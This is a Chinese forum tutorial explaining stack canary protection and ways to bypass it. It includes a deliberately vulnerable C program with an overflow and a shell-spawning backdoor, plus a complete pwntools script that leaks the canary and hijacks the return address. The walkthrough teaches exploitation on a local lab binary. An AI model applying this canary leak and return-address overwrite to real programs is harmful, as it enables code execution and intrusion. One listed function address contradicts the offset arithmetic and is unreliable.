电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 719 人浏览分享

Canary保护机制及绕过

[复制链接]
719 0
Canary基本介绍

在基本的栈溢出中,我们可以通过没有限制输入长度或限制不严格的函数等向栈中写入我们构
造的数据可写入的数据包括但不限于:

一段可执行的代码(关闭NX防护的前提下)

一段特意构造的返回地址等

......

传统的防御机制之一就是开启 Canary防护,该机制会向我们运行程序的栈底放入一串8字节的随机数据在
函数即将返回时会验证该数据是否发生改变,若发生改变则说明栈被改变了,直接call进__stack_chk_fail
验证成功则跳到leave 和 ret正常的返回。

QQ截图20221208160153.png

如何绕过

直接获取栈中canary的值
若该程序会输出我们输入的字符串,则可以在输入数据时估计超出输入的限制1字节,由于C字符串是以'\0'结尾的我们
多输入的1字节就会覆盖'\0',在接下来的输出中,程序本身使用的输出函数没有限制输出的长度,就会将栈中位于所存
数据高地址处的Canary值泄露出来,在接下来我们向栈中写入恶意返回地址的时候就可以将该值覆写回去,验证成功。

获取fs:28h中的canary值

通过观察汇编代码,我们可以发现每次运行程序产生的随机canary值都存在fs:28h中 接下来会将该值放
入EAX中再mov进程序的栈空间内。

mov rax,fs:28h

mov [rbp-8],rax

所以若程序中存在任意读的功能的函数,就可以直接读取该地址中的值即可。

逐字节爆破canary值

其余的利用方式由于没有碰到,所以暂时不说,后续遇到了会进行补充。

准备环节

源程序

我们接下来用上述所说的第一种方式来尝试绕过一下canary值的校验。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define MAX_LENGTH 100
void init()
{
    setvbuf(stdin,0,_IONBF,0);
    setvbuf(stdout,0,_IONBF,0);
}
void backdoor()
{
    system("/bin/sh");
}
int main()
{
    char buf[10] = {0};
    init();
    printf("[DEBUGING] main: %p\n",main);
    printf("Hello,What's Your name?\n");
    read(0,buf,MAX_LENGTH);
    printf("%s",buf);
    printf("Welcom!\n");
    printf("But wait,WHO ARE YOU?\n");
    read(0,buf,MAX_LENGTH);
    printf("I don't know you,so bye ;)\n");
    return 0;

}

对应的makefile语句。

OBJS=pwn_1.c
CC=gcc # 默认就为gcc
CFLAGS+=-fstack-protector -no-pie -g

pwn_1:$(OBJS)
        $(CC) $^ $(CFLAGS) -o $@

clean:
        $(RM) *.o # 可不加

之后直接make即可,记得将源文件命名为pwn_1.c,之后gcc可能会提示报错提示read函数可能
存在溢出的可能 不用理会。

可能存在的坑

记住头文件的引用,由于使用的read等系统调用函数,所以要进入 Unix标准库unistd.h。

checksec

之后我们checksec该文件确保其开启了canary防护机制。

1208160612.png

Canary found确认开启

objdump

通过观察代码可以多看到我们代码中是有一个等待被我们利用的函数backdoor()的,所以我们的目的实际上
就是在main函数执行完毕之后返回到该函数中,那我们势必就要计算出该函数与main函数偏移之间的关系
这样在装在后既可以通过基地址与偏移量的差值找到backdoor函数的地址。

objdmp -d pwn_1 -M intel

-d 反汇编pwn_1中的需要执行指令的那些section

-M 因特尔风格显示汇编代码,这样更贴近我们常见的汇编风格

启动!

确定问题所在

通过查看源程序(若无法获得源程序可以最简单的通过其行为判断)发现其规定read的最大长
度为MAX_LENGTH 100,而其buf空间只有10,所以确认存在栈溢出。
由于接下来的实验的截图不是来自一次完整的流程,而是反复执行为的是更加详细的显示整个流程
所以可能存在前后地址/值不一样的情况。

确定偏移量

首先我们显示用objdump -d pwn_1 确认其.text段中main函数和backdoor函数的偏移量。

60612.png

此处 (就不补0了)

main()的地址为0x401237

backdoor()的地址为0x401237

但对于backdoor()来说,由于前两条指令是为了保存之前的栈状态,初始化当前栈空间的所以我们并
不需要在计算偏移量的时候直接:0x401237 - 0x401225即可。

接下来我们将其应用到最终的脚本中,获取实际backdoor()的地址。

from pwn import *
# from signal import signal, SIGPIPE, SIG_DFL, SIG_IGN
# signal(SIGPIPE, SIG_IGN)
p = process('./pwn_1')
# 暂停执行直到我们回车
raw_input('PAUSE')
# 将mian: 前的字符全过掉
p.recvuntil(b'main: ')
backdoor = int(p.recvuntil(b'\n',drop=True),16) - ( 0x401237 - 0x401225 )
# 将算出的地址输出给我们看一下
log.info("The backdoor address is :" + hex(backdoor))

由于程序中输出了main()函数的地址,这样就无需再另外获取了,直接接受%p表示的地址即可
backdoor = int(p.recvuntil(b'\n',drop=True),16) - ( 0x401237 - 0x401225 )
用接受到的main()的地址,减去刚刚计算的偏移量,就是进程中backdoor()的地址。

1231.png

获取到随机的canary值

由于我们的源程序会以字符串的形式输出们输入的内容,而如前面所说 C 字符串是以'\0'结尾的所以我们
只要构造第一个read的数据长度为10 +1即可覆盖最后的'\0',从而将后面高地址处的canary值也输出。

光说不练假把式,先来看一下我们的脚本:

payload = b'a' * 11
p.sendafter(b'?',payload)

p.recvuntil(b'a' * 11)
canary = b'\0' + p.recv(7)

# 向控制台输出日志
log.info("The Random Canary num is :%x",int.from_bytes(canary,byteorder='little'))

第一个问题:为什么canary = p.recv(7)
由于我们刚刚输入了11个字节,而buf只有10个字节的大小,这样我们就可以向上覆盖覆盖掉
了canary中的一个字节,同时可以读取到canary剩余的7个字节
第二个问题:int.from_bytes(canary,byteorder='little')写法含义
将字符串对象转为整型小端显示

观察内存

接下来为了方便观察所获的到的值确实是canary的值,所以我们使用gdb的attach
黏附到我们脚本打开的程序上,来观察。

使用方法 :attach + PID(进入gdb后)

1228.png

之前我们多覆盖了一位,将 canary的值低一位由0覆盖为了a,这里再拼接回来即可到此为止
我们就得到了canary值。

向栈中拼入返回地址

先拿来一块该程序的栈空间来观察。

1226.png

第一个红色方框所圈区域,就是main函数返回的上一个函数的地址(见第二个红色方框)
所以我们只要能覆盖该地址即可。
为了覆盖该地址我们需要覆盖从buf开始到该地址的所有空间,但其中存储着canary的位置要
将我们刚刚保存出的canary再次放进去即可。

payload = b'a' * 10 # 覆盖数组所有空间
payload += canary # 由于数组空间后紧着的即使 canary 的空间,将该值放回去用来校验
pend = 0
payload += p64(pend) # 覆盖 rbp 指向的 8字节空间
payload += p64(backdoor) # 最终将返回地址放上我们backdoor的地址
p.sendafter(b'YOU?',payload)
# 暂停执行直到我们回车
raw_input('PAUSE')

38.png

之后通过gdb查看该进程发现。

36.png

成功写入。

成功执行

20.png

完整脚本

from pwn import *
# from signal import signal, SIGPIPE, SIG_DFL, SIG_IGN
# signal(SIGPIPE, SIG_IGN)
p = process('./pwn_1')
raw_input('PAUSE')
p.recvuntil(b'main: ')
# canary =
backdoor = int(p.recvuntil(b'\n',drop=True),16) - ( 0x401237 - 0x401225 )
log.info("The backdoor address is :" + hex(backdoor))
payload = b'a' * 11
p.sendafter(b'?',payload)
p.recvuntil(b'a' * 11)
canary = b'\0' + p.recv(7)
log.info("The Random Canary num is :%x",int.from_bytes(canary,byteorder='little'))
payload = b'a' * 10 # 覆盖数组所有空间
payload += canary # 由于数组空间后紧着的即使 canary 的空间,将该值放回去用来校验
pend = 0
payload += p64(pend) # 覆盖 rbp 指向的 8字节空间
payload += p64(backdoor) # 最终将返回地址放上我们backdoor的地址
log.info("The payload is :%x",int.from_bytes(payload,byteorder='little'))
p.sendafter(b'YOU?',payload)
p.interactive()

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.